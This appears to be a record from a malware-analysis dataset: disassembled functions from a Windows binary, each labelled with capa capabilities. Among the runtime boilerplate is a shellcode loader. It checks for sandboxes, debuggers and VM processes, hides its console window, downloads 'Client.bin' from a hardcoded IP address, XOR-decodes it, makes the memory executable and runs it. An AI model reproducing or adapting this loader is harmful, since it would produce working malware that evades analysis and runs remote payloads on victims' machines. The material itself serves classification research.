joyce8/EMBER2024-capa huggingface dataset:
Function at 0x417aed
Capabilities:
Generate random numbers via rtlgenrandom

Disassembly:
sub rsp, 0x38
xorps xmm0, xmm0
lea rcx, [rsp + 0x20]
movaps xmmword [rcx], xmm0
mov edx, 0x10
call sub.advapi32.dll_SystemFunction036
test al, al
je 0x417b19
mov rax, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x28]
add rsp, 0x38
ret
call fcn.0040ed84
ud2

Function at 0x41e230
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x58
mov rsi, rcx
mov ecx, dword [0x00c06704]
mov rdi, rdx
mov rbp, r8
test ecx, ecx
jle 0x41e350
mov rax, qword [0x00c06708]
xor ebx, ebx
add rax, 0x18
mov rdx, qword [rax]
cmp rsi, rdx
jb 0x41e27c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp rsi, rdx
jb 0x41e336
add ebx, 1
add rax, 0x28
cmp ebx, ecx
jne 0x41e260
mov rcx, rsi
call fcn.0041ee70
test rax, rax
mov r12, rax
je 0x41e388
movsxd rbx, ebx
lea rbx, [rbx + rbx*4]
shl rbx, 3
mov r13, rbx
add r13, qword [0x00c06708]
mov qword [r13 + 0x20], rax
mov dword [r13], 0
call fcn.0041efc0
mov edx, dword [r12 + 0xc]
mov r8d, 0x30
add rax, rdx
lea rdx, [rsp + 0x20]
mov qword [r13 + 0x18], rax
mov rax, qword [0x00c06708]
mov rcx, qword [rax + rbx + 0x18]
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x41e36b
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x41e32f
sub eax, 0x40
and eax, 0xffffffbf
je 0x41e32f
add rbx, qword [0x00c06708]
mov rcx, qword [rsp + 0x20]
mov r8d, 0x40
mov rdx, qword [rsp + 0x38]
mov r9, rbx
mov qword [rbx + 8], rcx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x41e357
add dword [0x00c06704], 1
mov r8, rbp
mov rdx, rdi
mov rcx, rsi
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
jmp sub.ntdll.dll_memcpy
xor ebx, ebx
jmp 0x41e287
call qword [sym.imp.kernel32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.0041e1c0
mov rax, qword [0x00c06708]
mov edx, dword [r12 + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.0041e1c0
lea rcx, str.Address__p_has_no_image_section
mov rdx, rsi
call fcn.0041e1c0
nop
nop dword [rax + rax]

Function at 0x41eae0
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x00c069e0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x00c069c0]
test rbx, rbx
je 0x41eb34
mov rbp, qword [sym.imp.kernel32.dll_TlsGetValue]
mov rdi, qword [sym.imp.kernel32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x41eb2b
test rsi, rsi
je 0x41eb2b
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x41eb10
lea rcx, [0x00c069e0]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x41ee70
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r9, qword [0x00c01480]
xor edx, edx
mov r8, rcx
cmp word [r9], 0x5a4d
je 0x41ee90
mov rax, rdx
add rsp, 0x28
ret
mov rcx, r9
call fcn.0041ed50
test eax, eax
je 0x41ee88
movsxd rax, dword [r9 + 0x3c]
mov rcx, r8
sub rcx, r9
add rax, r9
movzx edx, word [rax + 0x14]
lea rdx, [rax + rdx + 0x18]
movzx eax, word [rax + 6]
test eax, eax
je 0x41eeed
sub eax, 1
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
cmp rcx, r8
mov rax, r8
jb 0x41eee4
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x41ee88
add rdx, 0x28
cmp rdx, r9
jne 0x41eed0
xor edx, edx
mov rax, rdx
add rsp, 0x28
ret
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x0042b2b0]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x0042b2c0]
mov dword [rax], 1
mov rax, qword [0x0042b2d0]
mov dword [rax], 1
mov rax, qword [0x0042b2a0]
mov dword [rax], 1
mov rax, qword [0x0042b180]
cmp word [rax], 0x5a4d
jne 0x401067
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x4010c0
mov rax, qword [0x0042b290]
mov dword [0x0043400c], ecx
mov eax, dword [rax]
test eax, eax
jne 0x4010b0
mov ecx, 1
call sub.msvcrt.dll___set_app_type
call fcn.00413400
mov rdx, qword [0x0042b250]
mov edx, dword [rdx]
mov dword [rax], edx
call sym._setargv
mov rax, qword [0x0042af50]
cmp dword [rax], 1
je 0x4010f0
xor eax, eax
add rsp, 0x28
ret
mov ecx, 2
call sub.msvcrt.dll___set_app_type
jmp 0x401084
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x401108
cmp dx, 0x20b
jne 0x401067
cmp dword [rax + 0x84], 0xe
jbe 0x401067
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x401067
lea rcx, [sym._matherr]
call sym.unk_839
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x401067
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x401067

Function at 0x401560
Capabilities:
Enumerate processes

Disassembly:
push rbp
sub rsp, 0x190
lea rbp, [rsp + 0x80]
lea rax, str.vmtoolsd
mov qword [rbp + 0xd0], rax
lea rax, str.vmsrvc
mov qword [rbp + 0xd8], rax
lea rax, str.sandboxiedcomlaunch
mov qword [rbp + 0xe0], rax
lea rax, str.wireshark
mov qword [rbp + 0xe8], rax
lea rax, str.sandboxierpcss
mov qword [rbp + 0xf0], rax
lea rax, str.vmwareuser
mov qword [rbp + 0xf8], rax
mov edx, 0
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rbp + 0x100], rax
mov dword [rbp - 0x60], 0x130
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0x100]
mov rcx, rax
call sub.KERNEL32.dll_Process32First
mov dword [rbp + 0x10c], 0
mov eax, dword [rbp + 0x10c]
cdqe
cmp rax, 5
ja 0x401653
mov eax, dword [rbp + 0x10c]
cdqe
mov rax, qword [rbp + rax*8 + 0xd0]
lea rdx, [rbp - 0x60]
lea rcx, [rdx + 0x2c]
mov rdx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x40164a
mov rax, qword [rbp + 0x100]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 1
jmp 0x401689
add dword [rbp + 0x10c], 1
jmp 0x4015fe
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0x100]
mov rcx, rax
call sub.KERNEL32.dll_Process32Next
test eax, eax
setne al
test al, al
je 0x401671
jmp 0x4015f4
mov rax, qword [rbp + 0x100]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0
add rsp, 0x190
pop rbp
ret
Function at 0x4016ae
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push rbp
push rbx
mov eax, 0x1088
call fcn.0040d7f0
sub rsp, rax
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x1020], rcx
mov qword [rbp + 0x1028], rdx
lea rax, str.User_Agent
mov qword [rbp + 0xff8], rax
mov rax, qword [rbp + 0xff8]
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 1
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetOpenA]
call rax
mov qword [rbp + 0xff0], rax
cmp qword [rbp + 0xff0], 0
jne 0x401772
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rcx, str.InternetOpen_failed___d__n
call sym.unk_9
mov rax, qword [rbp + 0x1020]
mov qword [rax], 0
mov rax, qword [rbp + 0x1020]
mov qword [rax + 8], 0
mov rax, qword [rbp + 0x1020]
mov qword [rax + 0x10], 0
mov rcx, qword [rbp + 0x1020]
call sym.unk_14
jmp 0x40191b
mov rdx, qword [rbp + 0x1028]
mov rax, qword [rbp + 0xff0]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x80000000
mov r9d, 0
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetOpenUrlA]
call rax
mov qword [rbp + 0xfe8], rax
cmp qword [rbp + 0xfe8], 0
jne 0x40180e
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rcx, str.InternetOpenUrlA_failed___d__n
call sym.unk_9
mov rax, qword [rbp + 0x1020]
mov qword [rax], 0
mov rax, qword [rbp + 0x1020]
mov qword [rax + 8], 0
mov rax, qword [rbp + 0x1020]
mov qword [rax + 0x10], 0
mov rcx, qword [rbp + 0x1020]
call sym.unk_14
jmp 0x40191b
lea rax, [rbp - 0x50]
mov rcx, rax
call sym.unk_14
lea rcx, [rbp + 0xfd4]
lea rdx, [rbp - 0x30]
mov rax, qword [rbp + 0xfe8]
mov r9, rcx
mov r8d, 0x1000
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetReadFile]
call rax
test eax, eax
je 0x401856
mov eax, dword [rbp + 0xfd4]
test eax, eax
je 0x401856
mov eax, 1
jmp 0x40185b
mov eax, 0
test al, al
je 0x4018ba
mov eax, dword [rbp + 0xfd4]
mov edx, eax
lea rax, [rbp - 0x30]
lea rbx, [rax + rdx]
lea rax, [rbp - 0x50]
mov rcx, rax
call sym.unk_26
mov qword [rbp + 0xfe0], rax
lea rdx, [rbp + 0xfe0]
lea rax, [rbp + 0xfd8]
mov rcx, rax
call sym.unk_27
lea rcx, [rbp - 0x30]
mov rdx, qword [rbp + 0xfd8]
lea rax, [rbp - 0x50]
mov r9, rbx
mov r8, rcx
mov rcx, rax
call sym.unk_28
jmp 0x40181a
mov rax, qword [rbp + 0xfe8]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
mov rax, qword [rbp + 0xff0]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
lea rax, [rbp - 0x50]
mov rdx, rax
mov rcx, qword [rbp + 0x1020]
call sym.unk_16
lea rax, [rbp - 0x50]
mov rcx, rax
call sym.unk_24
jmp 0x40191b
mov rax, qword [rbp + 0x1020]
add rsp, 0x1088
pop rbx
pop rbp
ret
Function at 0x40199a
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Hide graphical window

Disassembly:
push rbp
push rbx
sub rsp, 0xa8
lea rbp, [rsp + 0x80]
call sym.__main
mov rax, qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call rax
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
call sym.unk_10
test al, al
je 0x4019e9
lea rcx, str.Sandbox_environment_detected._Aborting_execution_n
call sym.unk_9
mov ebx, 0xfffffffd
jmp 0x401b62
call sym.unk_11
test al, al
je 0x401a08
lea rcx, str.Debugger_is_detected._Aborting_execution_n
call sym.unk_9
mov ebx, 0xfffffffc
jmp 0x401b62
lea rax, str.http:__154.91.229.46_Client.bin
mov qword [rbp + 0x10], rax
lea rax, [rbp - 0x50]
mov rdx, qword [rbp + 0x10]
mov rcx, rax
call sym.unk_17
lea rax, [rbp - 0x50]
mov rcx, rax
call sym.unk_31
test al, al
je 0x401a49
lea rcx, str.Failed_to_download_shellcode._n
call sym.unk_9
mov ebx, 0xffffffff
jmp 0x401b56
mov byte [rbp + 0x1f], 0xaa
mov dword [rbp + 0x18], 0
cmp dword [rbp + 0x18], 0x13
jg 0x401ab3
movzx ebx, byte [rbp + 0x1f]
lea rdx, [rbp - 0x50]
lea rax, [rbp - 0x10]
mov rcx, rax
call sym.unk_32
lea rax, [rbp - 0x30]
lea rdx, [rbp - 0x10]
mov r8d, ebx
mov rcx, rax
call sym.unk_18
lea rdx, [rbp - 0x30]
lea rax, [rbp - 0x50]
mov rcx, rax
call sym.unk_33
lea rax, [rbp - 0x30]
mov rcx, rax
call sym.unk_24
lea rax, [rbp - 0x10]
mov rcx, rax
call sym.unk_24
add byte [rbp + 0x1f], 1
add dword [rbp + 0x18], 1
jmp 0x401a54
lea rax, [rbp - 0x50]
mov rcx, rax
call sym.unk_29
mov rbx, rax
lea rax, [rbp - 0x50]
mov rcx, rax
call sym.unk_34
mov r8, rbx
mov rdx, rax
lea rcx, [0x00434040]
call sub.msvcrt.dll_memcpy
lea rax, [rbp - 0x54]
mov r9, rax
mov r8d, 0x40
mov edx, 0x500000
lea rcx, [0x00434040]
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
test eax, eax
sete al
test al, al
je 0x401b1e
lea rcx, str.Failed_to_modify_memory_protect_flags._n
call sym.unk_9
mov ebx, 0xfffffffe
jmp 0x401b56
lea rax, [0x00434040]
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
call rax
mov eax, dword [rbp - 0x54]
lea rdx, [rbp - 0x54]
mov r9, rdx
mov r8d, eax
mov edx, 0x500000
lea rcx, [0x00434040]
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov ebx, 0
lea rax, [rbp - 0x50]
mov rcx, rax
call sym.unk_24
mov eax, ebx
jmp 0x401b80
add rsp, 0xa8
pop rbx
pop rbp
ret

Function at 0x40c770
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.004132e0
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call fcn.004132e0
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop word [rax + rax]
Function at 0x40c7e0
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rdi, dword [0x00934634]
mov r12, rcx
mov rsi, rdx
mov rbx, r8
test edi, edi
jle 0x40c988
mov rax, qword [0x00934638]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp r12, rdx
jb 0x40c82c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x40c8b7
add ecx, 1
add rax, 0x28
cmp ecx, edi
jne 0x40c810
mov rcx, r12
call sym.unk_851
mov rbp, rax
test rax, rax
je 0x40c9c2
mov rax, qword [0x00934638]
lea rdi, [rdi + rdi*4]
shl rdi, 3
add rax, rdi
mov qword [rax + 0x20], rbp
mov dword [rax], 0
call sym.unk_854
mov ecx, dword [rbp + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x00934638]
mov qword [rax + rdi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x40c9d1
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x40c8b0
sub eax, 4
and eax, 0xfffffffb
jne 0x40c940
add dword [0x00934634], 1
cmp ebx, 8
jae 0x40c8e8
test bl, 4
jne 0x40c990
test ebx, ebx
je 0x40c8d9
movzx eax, byte [rsi]
mov byte [r12], al
test bl, 2
jne 0x40c9b0
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rax, qword [rsi]
lea rcx, [r12 + 8]
and rcx, 0xfffffffffffffff8
mov qword [r12], rax
mov eax, ebx
mov rdx, qword [rsi + rax - 8]
mov qword [r12 + rax - 8], rdx
sub r12, rcx
add ebx, r12d
sub rsi, r12
and ebx, 0xfffffff8
cmp ebx, 8
jb 0x40c8d9
and ebx, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov r8, qword [rsi + rdx]
mov qword [rcx + rdx], r8
cmp eax, ebx
jb 0x40c91a
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
add rdi, qword [0x00934638]
mov qword [rdi + 8], rcx
mov r9, rdi
mov qword [rdi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x40c8b0
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call sym.unk_835
nop dword [rax]
xor edi, edi
jmp 0x40c837
mov eax, dword [rsi]
mov ebx, ebx
mov dword [r12], eax
mov eax, dword [rsi + rbx - 4]
mov dword [r12 + rbx - 4], eax
jmp 0x40c8d9
mov ebx, ebx
movzx eax, word [rsi + rbx - 2]
mov word [r12 + rbx - 2], ax
jmp 0x40c8d9
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call sym.unk_835
mov rax, qword [0x00934638]
mov edx, dword [rbp + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rdi + 0x18]
call sym.unk_835
nop
nop dword [rax]
Function at 0x40d1b0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x00934920]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x00934900]
test rbx, rbx
je 0x40d204
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x40d1fb
test r12, r12
je 0x40d1fb
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x40d1e0
lea rcx, [0x00934920]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x40d430
Capabilities:
Parse pe header

Disassembly:
cmp word [rcx], 0x5a4d
jne 0x40d440
jmp sym.unk_847
xor eax, eax
ret

Function at 0x40d450
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x40d495
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp r8, rdx
ja 0x40d48c
add ecx, dword [rax + 8]
cmp rcx, rdx
ja 0x40d497
add rax, 0x28
cmp rax, r9
jne 0x40d478
xor eax, eax
ret

Function at 0x40d540
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r10, qword [0x0042b180]
xor r8d, r8d
cmp word [r10], 0x5a4d
mov r9, rcx
jne 0x40d5b9
mov rcx, r10
call sym.unk_847
test eax, eax
je 0x40d5b9
movsxd rax, dword [r10 + 0x3c]
mov rcx, r9
sub rcx, r10
add r10, rax
movzx eax, word [r10 + 0x14]
lea r8, [r10 + rax + 0x18]
movzx eax, word [r10 + 6]
test eax, eax
je 0x40d5b6
sub eax, 1
lea rax, [rax + rax*4]
lea r9, [r8 + rax*8 + 0x28]
nop dword [rax]
mov edx, dword [r8 + 0xc]
mov rax, rdx
cmp rcx, rdx
jb 0x40d5ad
add eax, dword [r8 + 8]
cmp rcx, rax
jb 0x40d5b9
add r8, 0x28
cmp r8, r9
jne 0x40d598
xor r8d, r8d
mov rax, r8
add rsp, 0x28
ret

Function at 0x40d6a0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r9, qword [0x0042b180]
xor eax, eax
cmp word [r9], 0x5a4d
mov r8, rcx
jne 0x40d70f
mov rcx, r9
call sym.unk_847
test eax, eax
je 0x40d70f
movsxd rax, dword [r9 + 0x3c]
mov rcx, r8
sub rcx, r9
add r9, rax
movzx eax, word [r9 + 0x14]
movzx edx, word [r9 + 6]
lea rax, [r9 + rax + 0x18]
test edx, edx
je 0x40d70d
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x40d704
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x40d718
add rax, 0x28
cmp rax, r9
jne 0x40d6f0
xor eax, eax
add rsp, 0x28
ret
mov eax, dword [rax + 0x24]
not eax
shr eax, 0x1f
add rsp, 0x28
ret
Function at 0x40d730
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r11, qword [0x0042b180]
xor r9d, r9d
cmp word [r11], 0x5a4d
mov r8d, ecx
jne 0x40d7a8
mov rcx, r11
call sym.unk_847
test eax, eax
je 0x40d7a8
movsxd rcx, dword [r11 + 0x3c]
add rcx, r11
mov eax, dword [rcx + 0x90]
test eax, eax
je 0x40d7a8
movzx edx, word [rcx + 0x14]
lea rdx, [rcx + rdx + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x40d7a8
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r10, [rdx + rcx*8 + 0x28]
nop dword [rax + rax]
mov r9d, dword [rdx + 0xc]
mov rcx, r9
cmp rax, r9
jb 0x40d79c
add ecx, dword [rdx + 8]
cmp rax, rcx
jb 0x40d7b0
add rdx, 0x28
cmp rdx, r10
jne 0x40d788
xor r9d, r9d
mov rax, r9
add rsp, 0x28
ret
add rax, r11
jmp 0x40d7c0
sub r8d, 1
add rax, 0x14
mov ecx, dword [rax + 4]
test ecx, ecx
jne 0x40d7ce
mov edx, dword [rax + 0xc]
test edx, edx
je 0x40d7a5
test r8d, r8d
jg 0x40d7b8
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
add rsp, 0x28
ret
Function at 0x40df50
Capabilities:
Check mutex on windows

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rbp, [rsp + 0x80]
mov qword [rbp], r8
mov r15, rcx
movsxd rbx, edx
call sub.msvcrt.dll_strlen
mov rsi, rax
lea r13d, [rax + 0xf]
lea edi, [rax + 0x10]
lea eax, [rax + 0x52]
cdqe
add rax, 0xf
and rax, 0xfffffffffffffff0
call fcn.0040d7f0
sub rsp, rax
movsxd r12, esi
mov rdx, r15
movsxd r13, r13d
mov r8, r12
lea r14, [rsp + 0x20]
lea rcx, [rsp + 0x2f]
movabs rax, 0x656d68732d636367
mov qword [rsp + 0x20], rax
mov eax, 0x326d
lea r15d, [rsi + 0x50]
mov dword [rsp + 0x28], 0x64742d6d
mov word [rsp + 0x2c], ax
mov byte [rsp + 0x2e], 0x2d
call sub.msvcrt.dll_memcpy
lea rax, [r14 + r12 + 0x10]
mov r8, r14
movabs rdx, 0x6161616161616161
movabs rcx, 0x6161616161616161
mov qword [rax], rdx
mov qword [rax + 8], rcx
mov qword [rax + 0x10], rdx
mov qword [rax + 0x18], rcx
mov qword [rax + 0x20], rdx
mov qword [rax + 0x28], rcx
mov qword [rax + 0x30], rdx
xor edx, edx
mov qword [rax + 0x38], rcx
movsxd rax, r15d
xor ecx, ecx
mov byte [rsp + rax + 0x20], 0
mov byte [rsp + r13 + 0x20], 0
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov byte [rsp + r13 + 0x20], 0x2d
mov edx, 0xffffffff
mov r12, rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x40e04a
int3
mov rcx, r14
add esi, 0x51
call qword [sym.imp.KERNEL32.dll_FindAtomA]
test ax, ax
je 0x40e098
mov rdx, r14
movzx ecx, ax
mov r9d, edi
mov r8d, esi
call sym.unk_876
mov r14, rax
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, r14
lea rsp, [rbp - 0x58]
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov rcx, rbx
call sub.msvcrt.dll_malloc
mov r13, rax
mov eax, 0x40
nop dword [rax + rax]
bt r13, rax
jae 0x40e0c3
mov edx, r15d
sub edx, eax
movsxd rdx, edx
mov byte [r14 + rdx], 0x41
sub eax, 1
jne 0x40e0b0
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_AddAtomA]
test ax, ax
jne 0x40e0d7
int3
mov rdx, r14
movzx ecx, ax
mov r9d, edi
mov r8d, esi
call sym.unk_876
mov r14, rax
cmp r13, rax
je 0x40e0fd
mov rcx, r13
call fcn.00412d08
jmp 0x40e06f
xor edx, edx
mov r8, rbx
mov rcx, rax
call sub.msvcrt.dll_memset
cmp qword [rbp], 0
je 0x40e06f
mov rcx, r14
call qword [rbp]
jmp 0x40e06f

Function at 0x414710
Capabilities:
Allocate thread local storage

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, qword [0x009353e8]
test rbx, rbx
je 0x414748
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
mov dword [rbx], eax
mov rax, qword [0x009353e8]
test rax, rax
je 0x414770
cmp dword [rax], 0xffffffff
je 0x4267d0
add rsp, 0x20
pop rbx
ret
lea r8, [0x00413b20]
mov edx, 4
lea rcx, str._pthread_tls_shmem
call fcn.00417ea0
mov qword [0x009353e8], rax
mov rbx, rax
jmp 0x414721
lea r8, [0x00413b20]
mov edx, 4
lea rcx, str._pthread_tls_shmem
call fcn.00417ea0
mov qword [0x009353e8], rax
jmp 0x414735
call sub.msvcrt.dll_abort
nop
call sub.msvcrt.dll_abort
nop
mov rax, qword [pe_dos_header]
ud2
Function at 0x414c20
Capabilities:
Print debug messages

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x98
mov rbx, rcx
test rcx, rcx
je 0x414c45
call fcn.004193f0
cmp eax, 1
je 0x414c52
mov qword [rbx], 0xffffffffffffffff
add rsp, 0x98
pop rbx
pop rsi
pop rdi
pop r12
ret
lea r12, [rsp + 0x20]
xor eax, eax
mov ecx, 0xa
lea rsi, str.Error_cleaning_up_spin_keys_for_thread
mov rdi, r12
rep movsd dword [rdi], dword [rsi]
lea rdi, [rsp + 0x48]
mov ecx, 0x43
rep stosb byte [rdi], al
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
lea rdx, [rsp + 0x47]
mov r8d, 0xa
mov ecx, eax
call qword [sym.imp.msvcrt.dll__ultoa]
cmp byte [rsp + 0x47], 0
je 0x414cd8
mov eax, 0x28
jmp 0x414caa
add rax, 1
cmp rax, 0x6b
je 0x414cca
cmp byte [r12 + rax], 0
mov edx, eax
jne 0x414ca0
cmp eax, 0x6a
je 0x414cca
movsxd rax, edx
mov byte [rsp + rax + 0x20], 0xa
lea eax, [rdx + 1]
cdqe
mov byte [rsp + rax + 0x20], 0
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call sub.msvcrt.dll_abort
mov edx, 0x27
jmp 0x414cb8

Function at 0x414ce0
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x48
mov rcx, qword [0x009353f0]
test rcx, rcx
je 0x414e38
cmp dword [rcx], 1
je 0x414d03
call fcn.00414ba0
mov rax, qword [0x009353e8]
test rax, rax
je 0x414e60
mov ecx, dword [rax]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov r12, rax
test rax, rax
je 0x414d30
mov rax, r12
add rsp, 0x48
pop rbx
pop rsi
pop rdi
pop r12
ret
call fcn.00414540
cmp qword [0x00938050], 0
mov rbx, rax
je 0x414d23
test rax, rax
je 0x414d23
mov dword [rax + 0x44], 1
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
xor r9d, r9d
xor r8d, r8d
mov edx, 1
xor ecx, ecx
mov dword [rbx + 0x70], eax
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov qword [rbx + 0x38], 0xffffffffffffffff
lea rcx, [rbx + 0x68]
mov qword [rbx + 0x30], rax
call fcn.00414c20
mov rdi, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [rbx + 0xb8], 0
mov qword [rbx + 0x28], 0
call rdi
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov r12, rax
call rdi
mov dword [rsp + 0x30], 2
mov r8, rsi
mov rdx, r12
mov dword [rsp + 0x28], 0
mov rcx, rax
lea r9, [rbx + 0x28]
mov dword [rsp + 0x20], 0
